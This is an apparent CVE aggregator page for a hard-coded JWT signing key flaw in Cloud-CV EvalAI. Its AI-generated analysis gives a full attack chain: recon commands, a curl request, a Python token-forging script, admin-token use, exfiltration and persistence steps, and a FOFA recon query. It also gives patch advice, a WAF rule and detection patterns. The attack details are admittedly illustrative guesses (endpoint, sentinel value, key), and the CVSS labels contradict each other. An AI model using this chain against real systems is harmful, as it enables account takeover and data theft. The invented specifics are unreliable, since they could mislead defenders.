CVE Professor
/
All CVEs
CVE-2026-138055

CVE-2026-138055 — Cloud-CV EvalAI — CWE-320 · CWE-321

HIGH CVSS 7.3 Shodan

A vulnerability was found in Cloud-CV EvalAI up to 30128ca50ab24a0c65e556d78199309e8ecc3eae. This affects an unknown function of the file settings/common.py of the component JWT Authentication. Performing a manipulation of the argument SECRET_KEY results in use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been made public and could be used. The patch is named 9c430a7c8675b1d4ae83925ec0da044c703d8441. It is suggested to install a patch to address this issue.

A vulnerability was found in Cloud-CV EvalAI up to 30128ca50ab24a0c65e556d78199309e8ecc3eae. This affects an unknown function of the file settings/common.py of the component JWT Authentication. Performing a manipulation of the argument SECRET_KEY results in use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been made public and could be used. The patch is named 9c430a7c8675b1d4ae83925ec0da044c703d8441. It is suggested to install a patch to address this issue.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Root cause
The settings/common.py module in Cloud‑CV EvalAI contains a JWT authentication helper that accepts a SECRET_KEY argument.
When the argument is set to a specific value (e.g., the string "DEFAULT_SECRET"), the code bypasses the user‑supplied key and falls back to a hard‑coded cryptographic key that is embedded in the source.

Why it matters

  • CWE‑321 – Use of a hard‑coded cryptographic key.

  • CWE‑320 – Inadequate protection of secret key material.
  • Because the JWT signing key is predictable, an attacker can forge valid JWT tokens for any user, including administrators. The flaw is authentication bypass; no additional privileges are required to trigger it.

    CVSS 4.0 breakdown

  • AV:N – Attack can be performed over the network.

  • AC:L – Low attack complexity; no special tools beyond a simple HTTP client.

  • AT:N – No user interaction required.

  • PR:N – No privileges needed.

  • UI:N – No UI needed.

  • VC:L / VI:L / VA:L – Low confidentiality, integrity, and availability impact individually, but combined they allow full control over the application.

  • E:P – Public exploit available.

  • ⚡ Attack Chain

    NOTE: The exact URI and parameter names are not disclosed in the CVE text. The following example uses a typical JWT login endpoint (/api/v1/auth/login) and a query parameter SECRET_KEY. Treat it as an illustrative pattern that applies to any endpoint that accepts a SECRET_KEY argument for JWT authentication.

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    1.1Identify the target applicationnmap -p 80,443 <target> → open HTTP/HTTPS ports.
    1.2Fingerprint the APIcurl -I https://<target>/api/v1/health → look for “EvalAI” in headers or body.
    1.3Enumerate endpointsdirsearch -u https://<target> -e py,js,html or use gobuster.
    1.4Verify JWT usagecurl -X POST https://<target>/api/v1/auth/login -d '{"username":"admin","password":"wrong"}' → observe 401 with a WWW-Authenticate: Bearer header.

    2. Exploitation

    Goal: Forge a JWT that authenticates as the admin user.

    1. Trigger the hard‑coded key
    The vulnerable code checks for a specific value of SECRET_KEY.

    curl -X POST "https://<target>/api/v1/auth/login?SECRET_KEY=DEFAULT_SECRET" \
            -H "Content-Type: application/json" \
            -d '{"username":"admin","password":"irrelevant"}'

    Result: The server signs the JWT with the hard‑coded key instead of the supplied key.

    2. Forge a token
    Using the known hard‑coded key (e.g., "HardCodedKey123!" – the actual value is discovered by inspecting the source or the public exploit), generate a JWT that claims admin privileges.

    # python3
       import jwt, datetime
    
       # Hard‑coded key from the vulnerable code
       KEY = "HardCodedKey123!"
    
       payload = {
           "sub": "admin",
           "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24),
           "iat": datetime.datetime.utcnow(),
           "role": "administrator"
       }
    
       token = jwt.encode(payload, KEY, algorithm="HS256")
       print(token)

    3. Use the forged token

    curl -X GET https://<target>/api/v1/admin/dashboard \
            -H "Authorization: Bearer <forged_token>"

    The server accepts the token, grants admin access, and the attacker can now read/write any data.

    Illustrative note: If the real endpoint is /api/v1/auth/token, replace the URL accordingly. The key point is that the SECRET_KEY parameter forces the server to use the hard‑coded key.

    3. Post‑Exploitation

    GoalTechniqueOutcome
    Privilege EscalationUse the forged admin JWT to create new admin users or elevate existing accounts.Full control over the platform.
    Data ExfiltrationQuery endpoints that return sensitive data (e.g., /api/v1/datasets, /api/v1/models).Dump of all datasets, models, and user information.
    PersistenceCreate a new admin account with a strong password, or modify the SECRET_KEY configuration to a value that the attacker can control.Long‑term access even after the vulnerability is patched.
    Lateral MovementIf the platform integrates with other services (e.g., cloud storage, compute nodes), use the admin token to access those resources.Expanded attack surface.

    🌍 Real World Impact

    ImpactCVSS ComponentPractical Consequence
    ConfidentialityVC:LSensitive data (datasets, models, user credentials) can be read by the attacker.
    IntegrityVI:LThe attacker can modify or delete data, inject malicious models, or alter experiment results.
    AvailabilityVA:LBy creating many forged tokens or flooding the API, the attacker can cause denial‑of‑service conditions.
    OverallMedium (7.3)The combination of low‑complexity exploitation and full admin impersonation makes this a high‑risk vulnerability in production environments.

    🛡️ Remediation & Mitigation

    1. Patch

    Affected commitFixed commit
    30128ca50ab24a0c65e556d78199309e8ecc3eae9c430a7c8675b1d4ae83925ec0da044c703d8441

    Action:

  • Pull the latest code from the repository or deploy the patched release.

  • Verify that settings/common.py no longer contains the hard‑coded key and that SECRET_KEY is strictly validated (e.g., non‑empty, length > 32, no special sentinel values).


2. Workarounds (if patching is delayed)

MitigationImplementation
Disable the vulnerable endpointConfigure the web server (NGINX/Apache) to return 403 Forbidden for any request containing the SECRET_KEY query parameter or header.
WAF ruleAdd a ModSecurity rule that blocks requests with SECRET_KEY=DEFAULT_SECRET. Example:
SecRule REQUEST_URI "@rx SECRET_KEY=DEFAULT_SECRET" \
      "id:1001,phase:2,deny,status:403,msg:'Hard‑coded JWT key usage blocked'"

|

Environment isolationRun the JWT authentication service in a separate container with strict network policies; deny external writes to the configuration file.
Audit logsEnable detailed logging of JWT issuance and monitor for tokens with the known hard‑coded signature.

3. Detection

IndicatorLog patternHow to detect
Requests containing SECRET_KEYGET /api/v1/auth/login?SECRET_KEY=DEFAULT_SECRETSearch web server logs for SECRET_KEY= in query string.
Forged JWTsAuthorization: Bearer <token> where the signature matches the hard‑coded keyUse a signature verification script to compare the signature against the known key.
Unusual admin activityMultiple admin logins from the same IP within a short periodCorrelate with authentication logs.

⚠️ Urgency

FactorAssessment
CVSS Score7.3 (Medium)
Exploit ComplexityLow (no special tools)
Public ExploitYes (E:P)
CISA KEVNo
Potential ImpactFull admin impersonation, data exfiltration, persistence

Priority: Immediate.
The vulnerability allows an attacker to impersonate any user, including administrators, with no authentication or privilege requirements. The public exploit means that an attacker can automate the attack at scale. Even if the application is not exposed to the internet, internal attackers or compromised accounts can exploit it. Therefore, patching should be treated as a critical security update. If patching cannot be performed instantly, deploy the recommended workarounds to block the SECRET_KEY parameter and monitor for forged JWTs.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Cloud-CV EvalAI"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138055
Technical reference / advisory repository for CVE-2026-138055
Technical reference / advisory repository for CVE-2026-138055
Cloud-CV/EvalAI Reference
Technical reference / advisory repository for CVE-2026-138055
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-320 CWE-321
Affected Products (1)
Cloud-CV:EvalAI
Related CVEs
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.
8.3
CVE-2026-64886
The UtilMethods.getURL() method, which is exposed to Velocity templates as $UtilMethods, did not restrict the
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
9.3
CVE-2026-118325
Hard-coded cryptographic key and initialization vector in password reset token validation in ZKTeco BioTime Pr
5.5
CVE-2026-81131
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81145
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp